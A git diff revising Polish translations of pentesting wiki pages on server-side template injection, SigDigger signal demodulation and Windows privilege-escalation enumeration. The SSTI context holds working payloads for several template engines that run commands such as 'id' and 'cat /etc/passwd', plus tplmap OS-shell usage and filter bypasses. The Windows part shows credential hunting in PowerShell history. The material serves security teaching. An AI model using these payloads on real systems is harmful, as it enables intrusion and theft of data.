Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.
|
||||
|
||||
### Wykrywanie
|
||||
|
||||
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo **fuzzing szablonu** jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji specjalnych znaków (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego ładunku. Wskaźniki podatności obejmują:
|
||||
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo **fuzzing szablonu** jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:
|
||||
|
||||
- Rzucone błędy, ujawniające podatność i potencjalnie silnik szablonów.
|
||||
- Brak ładunku w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
|
||||
- Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
|
||||
- **Kontekst tekstowy**: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. `{{7*7}}`, `${7*7}`).
|
||||
- **Kontekst kodu**: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby zobaczyć, czy wyjście serwera jest dynamiczne czy stałe, jak w `greeting=data.username}}hello`, zwracając nazwę użytkownika.
|
||||
|
||||
#### Faza identyfikacji
|
||||
|
||||
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych ładunków specyficznych dla języka. Typowe ładunki powodujące błędy to `${7/0}`, `{{7/0}}` i `<%= 7/0 %>`. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga określić konkretny silnik szablonów.
|
||||
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Typowe payloady powodujące błędy to `${7/0}`, `{{7/0}}` i `<%= 7/0 %>`. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga określić konkretny silnik szablonów.
|
||||
|
||||
#### Identyfikacja przez ładunki
|
||||
#### Identyfikacja przez payloady
|
||||
|
||||
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -60,7 +60,7 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [Tabela wstrzyknięć szablonów](https://github.com/Hackmanit/template-injection-table)
|
||||
### [Tabela Wstrzyknięć Szablonów](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.
|
||||
|
||||
@ -68,7 +68,7 @@ interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szabl
|
||||
|
||||
### Ogólne
|
||||
|
||||
W tej **liście słów** możesz znaleźć **zmienne zdefiniowane** w środowiskach niektórych z silników wymienionych poniżej:
|
||||
W tej **liście słów** możesz znaleźć **zmienne zdefiniowane** w środowiskach niektórych z wymienionych poniżej silników:
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
@ -96,7 +96,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
||||
```
|
||||
### FreeMarker (Java)
|
||||
|
||||
Możesz wypróbować swoje ładunki na [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||||
Możesz przetestować swoje ładunki na [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||||
|
||||
- `{{7*7}} = {{7*7}}`
|
||||
- `${7*7} = 49`
|
||||
@ -201,7 +201,7 @@ el-expression-language.md
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
**Obejście filtrów**
|
||||
**Ominić filtry**
|
||||
|
||||
Można użyć wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
|
||||
|
||||
@ -291,7 +291,7 @@ Nowa wersja Pebble:
|
||||
```
|
||||
Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||||
|
||||
**Jinjava - Wykonanie polecenia**
|
||||
**Jinjava - Wykonywanie poleceń**
|
||||
|
||||
Naprawione przez [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
```java
|
||||
@ -316,7 +316,7 @@ Naprawione przez [https://github.com/HubSpot/jinjava/pull/230](https://github.co
|
||||
- `{{'a'.toUpperCase()}}` - "A"
|
||||
- `{{'a'.concat('b')}}` - "ab"
|
||||
- `{{'a'.getClass()}}` - java.lang.String
|
||||
- `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Szukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj [projekt Jinjava na Githubie](https://github.com/HubSpot/jinjava/).
|
||||
@ -372,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak managed beans) w JavaEE. Jest szeroko stosowana w wielu technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
|
||||
Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak managed beans) w JavaEE. Jest szeroko stosowana w różnych technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
|
||||
- **JavaServer Pages (JSP)**: EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
|
||||
@ -629,7 +629,7 @@ Hello {NAME}.<br/>
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Przechodzenie przez ścieżki (więcej informacji [tutaj](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
Path Traversal (więcej informacji [tutaj](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
@ -671,7 +671,7 @@ URLencoded:
|
||||
| | Oceń i renderuj wynik |
|
||||
| | Oceń i renderuj wynik zakodowany w HTML |
|
||||
| | Komentarz |
|
||||
| i | Zezwól na kod (domyślnie wyłączone) |
|
||||
| i | Zezwól na kod (domyślnie wyłączone) |
|
||||
|
||||
- \= 49
|
||||
|
||||
@ -679,7 +679,7 @@ URLencoded:
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
**Serwerowa strona**
|
||||
**Serwerowa Strona**
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
@ -777,7 +777,7 @@ range.constructor(
|
||||
|
||||
### Python
|
||||
|
||||
Sprawdź następującą stronę, aby poznać triki dotyczące **omijania wykonania dowolnych poleceń w piaskownicach** w pythonie:
|
||||
Sprawdź następującą stronę, aby poznać triki dotyczące **obejścia wykonywania dowolnych poleceń w piaskownicach** w pythonie:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -814,7 +814,7 @@ Sprawdź następującą stronę, aby poznać triki dotyczące **omijania wykonan
|
||||
|
||||
[Oficjalna strona](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na podstawie BSD.
|
||||
> Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na zasadach BSD.
|
||||
|
||||
- `{{7*7}} = Błąd`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -856,7 +856,7 @@ Sprawdź następującą stronę, aby poznać triki dotyczące **omijania wykonan
|
||||
|
||||
|
||||
```
|
||||
[**RCE nie zależne od**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
[**RCE niezależne od**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
@ -950,7 +950,7 @@ W silniku szablonów Go potwierdzenie jego użycia można przeprowadzić za pomo
|
||||
|
||||
**Eksploatacja XSS**
|
||||
|
||||
Z pakietem `text/template` XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{"<script>alert(1)</script>"}}` skutkuje `<script>alert(1)</script>`). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Z pakietem `text/template`, XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{"<script>alert(1)</script>"}}` skutkuje `<script>alert(1)</script>`). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -958,7 +958,7 @@ vbnet Copy code
|
||||
|
||||
Eksploatacja RCE znacznie różni się między `html/template` a `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości “call”), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Dla RCE przez SSTI w Go można wywoływać metody obiektów. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można to wykorzystać jak `{{ .System "ls" }}`. Zazwyczaj konieczny jest dostęp do kodu źródłowego, aby to wykorzystać, jak w podanym przykładzie:
|
||||
Dla RCE przez SSTI w Go, metody obiektów mogą być wywoływane. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można to wykorzystać jak `{{ .System "ls" }}`. Zazwyczaj konieczne jest uzyskanie dostępu do kodu źródłowego, aby to wykorzystać, jak w podanym przykładzie:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
@ -976,7 +976,9 @@ Sprawdź resztę [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/maste
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## Powiązana pomoc
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
### Podstawowa konfiguracja
|
||||
|
||||
Po zainstalowaniu jest kilka rzeczy, które warto skonfigurować.\
|
||||
W ustawieniach (drugi przycisk zakładki) możesz wybrać **urządzenie SDR** lub **wybrać plik**, aby odczytać i na jakiej częstotliwości syntonizować oraz ustawić częstotliwość próbkowania (zalecane do 2,56 Msps, jeśli twój komputer to obsługuje)\\
|
||||
W ustawieniach (drugi przycisk zakładki) możesz wybrać **urządzenie SDR** lub **wybrać plik** do odczytu oraz częstotliwość do syntonizacji i częstotliwość próbkowania (zalecane do 2,56 Msps, jeśli twój komputer to obsługuje)\\
|
||||
|
||||
.png>)
|
||||
|
||||
@ -22,7 +22,7 @@ W zachowaniu GUI zaleca się włączenie kilku opcji, jeśli twój komputer to o
|
||||
|
||||
### Zastosowania
|
||||
|
||||
- Aby **zarejestrować część sygnału i go przeanalizować**, wystarczy przytrzymać przycisk "Push to capture" tak długo, jak potrzebujesz.
|
||||
- Aby **zarejestrować część sygnału i go przeanalizować**, przytrzymaj przycisk "Push to capture" tak długo, jak potrzebujesz.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,7 +32,7 @@ W zachowaniu GUI zaleca się włączenie kilku opcji, jeśli twój komputer to o
|
||||
|
||||
### Synchronizacja z kanałem radiowym
|
||||
|
||||
Z [**SigDigger** ](https://github.com/BatchDrake/SigDigger)zsynchronizuj się z kanałem, który chcesz usłyszeć, skonfiguruj opcję "Podgląd audio w paśmie podstawowym", skonfiguruj szerokość pasma, aby uzyskać wszystkie przesyłane informacje, a następnie ustaw Tuner na poziom, zanim szum zacznie naprawdę rosnąć:
|
||||
Z [**SigDigger** ](https://github.com/BatchDrake/SigDigger)zsynchronizuj się z kanałem, który chcesz słyszeć, skonfiguruj opcję "Podgląd audio w paśmie podstawowym", skonfiguruj szerokość pasma, aby uzyskać wszystkie przesyłane informacje, a następnie ustaw Tuner na poziom przed rozpoczęciem rzeczywistego wzrostu szumu:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -56,21 +56,23 @@ Jeśli sprawdzasz sygnał, istnieją różne sposoby, aby spróbować ustalić,
|
||||
.png>)
|
||||
|
||||
- **Wykrywanie AM**: Jeśli na wykresie IQ pojawiają się na przykład **2 okręgi** (prawdopodobnie jeden w 0, a drugi w innej amplitudzie), może to oznaczać, że jest to sygnał AM. Dzieje się tak, ponieważ na wykresie IQ odległość między 0 a okręgiem to amplituda sygnału, więc łatwo jest wizualizować różne amplitudy.
|
||||
- **Wykrywanie PM**: Jak w poprzednim obrazie, jeśli znajdziesz małe okręgi, które nie są ze sobą powiązane, prawdopodobnie oznacza to, że używana jest modulacja fazy. Dzieje się tak, ponieważ na wykresie IQ kąt między punktem a 0,0 to faza sygnału, co oznacza, że używane są 4 różne fazy.
|
||||
- Zauważ, że jeśli informacja jest ukryta w tym, że faza jest zmieniana, a nie w samej fazie, nie zobaczysz wyraźnie różnie zróżnicowanych faz.
|
||||
- **Wykrywanie FM**: IQ nie ma pola do identyfikacji częstotliwości (odległość do środka to amplituda, a kąt to faza).\
|
||||
- **Wykrywanie PM**: Jak na poprzednim obrazie, jeśli znajdziesz małe okręgi, które nie są ze sobą powiązane, prawdopodobnie oznacza to, że używana jest modulacja fazy. Dzieje się tak, ponieważ na wykresie IQ kąt między punktem a 0,0 to faza sygnału, co oznacza, że używane są 4 różne fazy.
|
||||
- Zauważ, że jeśli informacja jest ukryta w tym, że faza jest zmieniana, a nie w samej fazie, nie zobaczysz wyraźnie różniących się faz.
|
||||
- **Wykrywanie FM**: IQ nie ma pola do identyfikacji częstotliwości (odległość do centrum to amplituda, a kąt to faza).\
|
||||
Dlatego, aby zidentyfikować FM, powinieneś **widzieć zasadniczo tylko okrąg** na tym wykresie.\
|
||||
Ponadto, inna częstotliwość jest "reprezentowana" przez wykres IQ przez **przyspieszenie prędkości wzdłuż okręgu** (więc w SysDigger wybierając sygnał, wykres IQ jest zapełniany, jeśli znajdziesz przyspieszenie lub zmianę kierunku w utworzonym okręgu, może to oznaczać, że jest to FM):
|
||||
|
||||
## Przykład AM
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Odkrywanie AM
|
||||
|
||||
#### Sprawdzanie obwiedni
|
||||
|
||||
Sprawdzając informacje AM z [**SigDigger** ](https://github.com/BatchDrake/SigDigger) i po prostu patrząc na **obwiednię**, możesz zobaczyć różne wyraźne poziomy amplitudy. Używany sygnał wysyła impulsy z informacjami w AM, tak wygląda jeden impuls:
|
||||
Sprawdzając informacje AM za pomocą [**SigDigger** ](https://github.com/BatchDrake/SigDigger) i po prostu patrząc na **obwiednię**, możesz zobaczyć różne wyraźne poziomy amplitudy. Używany sygnał wysyła impulsy z informacjami w AM, tak wygląda jeden impuls:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -80,7 +82,7 @@ A tak wygląda część symbolu z falą:
|
||||
|
||||
#### Sprawdzanie histogramu
|
||||
|
||||
Możesz **wybrać cały sygnał**, w którym znajduje się informacja, wybrać tryb **Amplituda** i **Wybór**, a następnie kliknąć na **Histogram.** Możesz zaobserwować, że znajdują się tylko 2 wyraźne poziomy.
|
||||
Możesz **wybrać cały sygnał**, w którym znajduje się informacja, wybrać tryb **Amplituda** i **Wybór**, a następnie kliknąć na **Histogram**. Możesz zaobserwować, że znajdują się tylko 2 wyraźne poziomy
|
||||
|
||||
.png>)
|
||||
|
||||
@ -100,36 +102,36 @@ W tym przykładzie możesz zobaczyć, jak jest **duże koło**, ale także **wie
|
||||
|
||||
#### Z jednym symbolem
|
||||
|
||||
Wybierz najmniejszy symbol, jaki możesz znaleźć (aby mieć pewność, że to tylko 1) i sprawdź "Częstotliwość wyboru". W tym przypadku wynosiłoby to 1.013 kHz (czyli 1 kHz).
|
||||
Wybierz najmniejszy symbol, jaki możesz znaleźć (aby mieć pewność, że to tylko 1) i sprawdź "Częstotliwość wyboru". W tym przypadku wynosiłoby to 1,013 kHz (czyli 1 kHz).
|
||||
|
||||
.png>)
|
||||
|
||||
#### Z grupą symboli
|
||||
|
||||
Możesz również wskazać liczbę symboli, które zamierzasz wybrać, a SigDigger obliczy częstotliwość 1 symbolu (im więcej symboli wybranych, tym lepiej prawdopodobnie). W tym scenariuszu wybrałem 10 symboli, a "Częstotliwość wyboru" wynosi 1.004 kHz:
|
||||
Możesz również wskazać liczbę symboli, które zamierzasz wybrać, a SigDigger obliczy częstotliwość 1 symbolu (im więcej symboli wybranych, tym lepiej prawdopodobnie). W tym scenariuszu wybrałem 10 symboli, a "Częstotliwość wyboru" wynosi 1,004 kHz:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uzyskiwanie bitów
|
||||
|
||||
Po stwierdzeniu, że jest to sygnał **modulowany AM** i **częstotliwość symbolu** (i wiedząc, że w tym przypadku coś w górę oznacza 1, a coś w dół oznacza 0), bardzo łatwo jest **uzyskać bity** zakodowane w sygnale. Wybierz więc sygnał z informacjami i skonfiguruj próbkowanie oraz decyzję, a następnie naciśnij próbkę (upewnij się, że **Amplituda** jest wybrana, odkryta **Częstotliwość symbolu** jest skonfigurowana, a **odzyskiwanie zegara Gadnera** jest wybrane):
|
||||
Po stwierdzeniu, że jest to sygnał **modulowany AM** i **częstotliwość symbolu** (i wiedząc, że w tym przypadku coś w górę oznacza 1, a coś w dół oznacza 0), bardzo łatwo jest **uzyskać bity** zakodowane w sygnale. Więc wybierz sygnał z informacjami i skonfiguruj próbkowanie oraz decyzję i naciśnij próbkę (sprawdź, czy **Amplituda** jest wybrana, odkryta **Częstotliwość symbolu** jest skonfigurowana, a **odzyskiwanie zegara Gadnera** jest wybrane):
|
||||
|
||||
.png>)
|
||||
|
||||
- **Synchronizacja z interwałami wyboru** oznacza, że jeśli wcześniej wybrałeś interwały, aby znaleźć częstotliwość symbolu, ta częstotliwość symbolu będzie używana.
|
||||
- **Ręcznie** oznacza, że wskazana częstotliwość symbolu będzie używana.
|
||||
- W **Wybór o stałym interwale** wskazujesz liczbę interwałów, które powinny być wybrane, a następnie oblicza częstotliwość symbolu na ich podstawie.
|
||||
- **Ręcznie** oznacza, że wskazana częstotliwość symbolu będzie używana
|
||||
- W **Wybór o stałym interwale** wskazujesz liczbę interwałów, które powinny być wybrane, a on oblicza częstotliwość symbolu na ich podstawie
|
||||
- **Odzyskiwanie zegara Gadnera** jest zazwyczaj najlepszą opcją, ale nadal musisz wskazać jakąś przybliżoną częstotliwość symbolu.
|
||||
|
||||
Naciskając próbkę, pojawia się to:
|
||||
|
||||
.png>)
|
||||
|
||||
Teraz, aby sprawić, by SigDigger zrozumiał **gdzie jest zakres** poziomu przenoszącego informacje, musisz kliknąć na **niższy poziom** i przytrzymać, aż do największego poziomu:
|
||||
Teraz, aby sprawić, by SigDigger zrozumiał **gdzie jest zakres** poziomu niosącego informacje, musisz kliknąć na **niższy poziom** i przytrzymać kliknięte, aż do największego poziomu:
|
||||
|
||||
.png>)
|
||||
|
||||
Gdyby na przykład istniały **4 różne poziomy amplitudy**, powinieneś skonfigurować **Bity na symbol na 2** i wybrać od najmniejszego do największego.
|
||||
Gdyby na przykład istniały **4 różne poziomy amplitudy**, musiałbyś skonfigurować **Bity na symbol na 2** i wybrać od najmniejszego do największego.
|
||||
|
||||
Na koniec **zwiększając** **Zoom** i **zmieniając rozmiar wiersza**, możesz zobaczyć bity (i możesz wszystko zaznaczyć i skopiować, aby uzyskać wszystkie bity):
|
||||
|
||||
@ -137,11 +139,13 @@ Na koniec **zwiększając** **Zoom** i **zmieniając rozmiar wiersza**, możesz
|
||||
|
||||
Jeśli sygnał ma więcej niż 1 bit na symbol (na przykład 2), SigDigger **nie ma sposobu, aby wiedzieć, który symbol to** 00, 01, 10, 11, więc użyje różnych **odcieni szarości**, aby reprezentować każdy (a jeśli skopiujesz bity, użyje **liczb od 0 do 3**, będziesz musiał je przetworzyć).
|
||||
|
||||
Ponadto, używaj **kodowań** takich jak **Manchester**, a **up+down** może być **1 lub 0**, a **down+up** może być 1 lub 0. W takich przypadkach musisz **przetworzyć uzyskane ups (1) i downs (0)**, aby zastąpić pary 01 lub 10 jako 0s lub 1s.
|
||||
Ponadto, używaj **kodowań** takich jak **Manchester**, a **up+down** może być **1 lub 0**, a **down+up** może być 1 lub 0. W takich przypadkach musisz **przetworzyć uzyskane up (1) i down (0)**, aby zastąpić pary 01 lub 10 jako 0s lub 1s.
|
||||
|
||||
## Przykład FM
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Odkrywanie FM
|
||||
|
||||
@ -189,7 +193,7 @@ Ponadto, inna częstotliwość jest "reprezentowana" przez wykres IQ przez **prz
|
||||
|
||||
### Uzyskiwanie częstotliwości symbolu
|
||||
|
||||
Możesz użyć **tej samej techniki, co w przykładzie AM**, aby uzyskać częstotliwość symbolu, gdy znajdziesz częstotliwości przenoszące symbole.
|
||||
Możesz użyć **tej samej techniki, co w przykładzie AM**, aby uzyskać częstotliwość symbolu, gdy znajdziesz częstotliwości niosące symbole.
|
||||
|
||||
### Uzyskiwanie bitów
|
||||
|
||||
|
||||
@ -55,7 +55,7 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec
|
||||
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
|
||||
Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
```
|
||||
### Wersja Exploitów
|
||||
### Wykorzystania wersji
|
||||
|
||||
Ta [strona](https://msrc.microsoft.com/update-guide/vulnerability) jest przydatna do wyszukiwania szczegółowych informacji o lukach w zabezpieczeniach Microsoftu. Ta baza danych zawiera ponad 4,700 luk w zabezpieczeniach, co pokazuje **ogromną powierzchnię ataku**, jaką prezentuje środowisko Windows.
|
||||
|
||||
@ -71,7 +71,7 @@ Ta [strona](https://msrc.microsoft.com/update-guide/vulnerability) jest przydatn
|
||||
- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||||
- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
|
||||
|
||||
**Repozytoria Github exploitów:**
|
||||
**Repozytoria Github z exploitami:**
|
||||
|
||||
- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
|
||||
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
||||
@ -95,7 +95,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
|
||||
cat (Get-PSReadlineOption).HistorySavePath
|
||||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### Pliki transkrypcji PowerShell
|
||||
### Pliki transkrypcyjne PowerShell
|
||||
|
||||
Możesz dowiedzieć się, jak to włączyć w [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
```bash
|
||||
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Pełny zapis aktywności i zawartości wykonania skryptu jest rejestrowany, zapewniając, że każdy blok kodu jest dokumentowany w trakcie jego działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, co jest cenne dla analizy kryminalistycznej i analizy złośliwego zachowania. Dokumentując wszystkie aktywności w momencie wykonania, dostarczane są szczegółowe informacje na temat procesu.
|
||||
Pełny zapis aktywności i zawartości wykonania skryptu jest rejestrowany, zapewniając, że każdy blok kodu jest dokumentowany w trakcie jego działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, co jest cenne dla analizy kryminalistycznej i analizy złośliwego zachowania. Dokumentując wszystkie działania w momencie wykonania, dostarczane są szczegółowe informacje na temat procesu.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
```
|
||||
Zdarzenia logowania dla Script Block można znaleźć w Podglądzie zdarzeń systemu Windows pod ścieżką: **Dzienniki aplikacji i usług > Microsoft > Windows > PowerShell > Operacyjny**.\
|
||||
Zdarzenia logowania dla Bloku Skryptu można znaleźć w Podglądzie zdarzeń systemu Windows pod ścieżką: **Dzienniki aplikacji i usług > Microsoft > Windows > PowerShell > Operacyjny**.\
|
||||
Aby wyświetlić ostatnie 20 zdarzeń, możesz użyć:
|
||||
```bash
|
||||
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
||||
@ -152,7 +152,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
```
|
||||
## WSUS
|
||||
|
||||
Możesz skompromitować system, jeśli aktualizacje są żądane za pomocą http**S**, a nie http.
|
||||
Możesz skompromitować system, jeśli aktualizacje nie są żądane za pomocą http**S**, lecz http.
|
||||
|
||||
Zaczynasz od sprawdzenia, czy sieć używa aktualizacji WSUS bez SSL, uruchamiając następujące:
|
||||
```
|
||||
@ -167,26 +167,28 @@ A jeśli `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServ
|
||||
|
||||
Wtedy, **jest to podatne na atak.** Jeśli ostatni rejestr jest równy 0, to wpis WSUS zostanie zignorowany.
|
||||
|
||||
